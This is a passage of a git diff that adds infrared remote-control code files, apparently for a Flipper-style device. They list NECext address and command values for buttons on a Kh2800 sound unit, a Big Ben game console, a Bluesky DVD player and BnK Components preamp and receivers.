+# +name: WIRELESS +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 86 00 00 00 +# +name: 3D +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 8D 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 94 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 99 00 00 00 +# +name: INVERT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir new file mode 100644 index 000000000..c6e9921f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: MASTERVOL- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 01 00 00 00 +# +name: MASTERVOL+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: BALANCE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 04 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0D 00 00 00 +# +name: Q-SOUND +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 11 00 00 00 +# +name: X_KEY_1EXT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 13 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 17 00 00 00 +# +name: CENTER- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 18 00 00 00 +# +name: SURR+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1C 00 00 00 +# +name: SW+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1D 00 00 00 +# +name: CENTER+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1E 00 00 00 +# +name: SW- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 45 00 00 00 +# +name: TRE+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 48 00 00 00 +# +name: TRE- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 49 00 00 00 +# +name: SURR- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4C 00 00 00 +# +name: BASS+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4F 00 00 00 +# +name: STEREO/3STEREO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 55 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 56 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5E 00 00 00 +# +name: BASS- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir b/assets/resources/infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir new file mode 100644 index 000000000..7535cabed --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 00 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 01 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 02 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 03 00 00 00 +# +name: DISPLAY_INFO/_SELECT +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 04 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 05 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 06 00 00 00 +# +name: QUICK_MENU_-TRIANGLE +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 07 00 00 00 +# +name: QUIT_-CIRCLE +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 08 00 00 00 +# +name: MENU_DVD_-SQUARE +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 09 00 00 00 +# +name: OK_-CROSS +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 0A 00 00 00 +# +name: L1_-SLIP_< +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 0B 00 00 00 +# +name: L2_-REW +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 0C 00 00 00 +# +name: R1_-SKIP_> +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 0D 00 00 00 +# +name: R2_-FFW +type: parsed +protocol: NECext +address: 43 A4 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir new file mode 100644 index 000000000..319dbee5a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_DIRECTORY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_CAMERA +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir new file mode 100644 index 000000000..85fe4f52d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir new file mode 100644 index 000000000..f8f9d1ad2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir @@ -0,0 +1,518 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 03 00 00 00 +# +name: BK002_MUTE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 03 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: BK002_V1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: BK002_TV +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: BK002_V2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: BK002_TAPE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: BK002_DVD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0E 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: BK002_CD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 13 00 00 00 +# +name: TUNE- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1B 00 00 00 +# +name: BK002_TUNE- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1B 00 00 00 +# +name: TUNE+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1C 00 00 00 +# +name: BK002_TUNE+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1C 00 00 00 +# +name: CR_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: BK002_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: CR_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: BK002_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 23 00 00 00 +# +name: BK002_VOLUME- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 24 00 00 00 +# +name: BK002_VOLUME+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 24 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 26 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 29 00 00 00 +# +name: BK002_NUMBER_+10 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 29 00 00 00 +# +name: CR_DOWN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2D 00 00 00 +# +name: BK002_DOWN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2D 00 00 00 +# +name: CR_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2E 00 00 00 +# +name: BK002_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2F 00 00 00 +# +name: BK002_MENU +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: BK002_ENTER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 31 00 00 00 +# +name: BK002_NUMBER_1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 32 00 00 00 +# +name: BK002_NUMBER_2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 33 00 00 00 +# +name: BK002_NUMBER_3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 35 00 00 00 +# +name: BK002_NUMBER_4 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 36 00 00 00 +# +name: BK002_NUMBER_5 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 37 00 00 00 +# +name: BK002_NUMBER_6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 39 00 00 00 +# +name: BK002_NUMBER_7 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3A 00 00 00 +# +name: BK002_NUMBER_8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3B 00 00 00 +# +name: BK002_NUMBER_9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3E 00 00 00 +# +name: BK002_NUMBER_0 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3E 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 40 00 00 00 +# +name: BK002_SAVE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 40 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4B 00 00 00 +# +name: BASS- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 65 00 00 00 +# +name: BK002_BASS- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 65 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: BK002_AM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: TREBLE- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 79 00 00 00 +# +name: BK002_TREBLE- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 79 00 00 00 +# +name: BK002_EXIT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: BK002_FM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: A2 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: C6 00 00 00 +# +name: A_KEY +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: BK002_LOUDNESS +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: BASS+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E5 00 00 00 +# +name: BK002_BASS+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E5 00 00 00 +# +name: ST/MONO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: EB 00 00 00 +# +name: BK002_STEREO/MONO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: EB 00 00 00 +# +name: TREBLE+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: F9 00 00 00 +# +name: BK002_TREBLE+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir new file mode 100644 index 000000000..11b91f9eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 18 00 00 00 +# +name: TUN_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1B 00 00 00 +# +name: TUN_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 29 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: SEL/ENTER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4B 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 5A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 65 00 00 00 +# +name: SOURCE_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: A2 00 00 00 +# +name: SOURCE_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: A6 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: C6 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E5 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: EB 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: F9 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir new file mode 100644 index 000000000..8c08a68f6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: A6 00 00 00 +# +name: PSET_DN 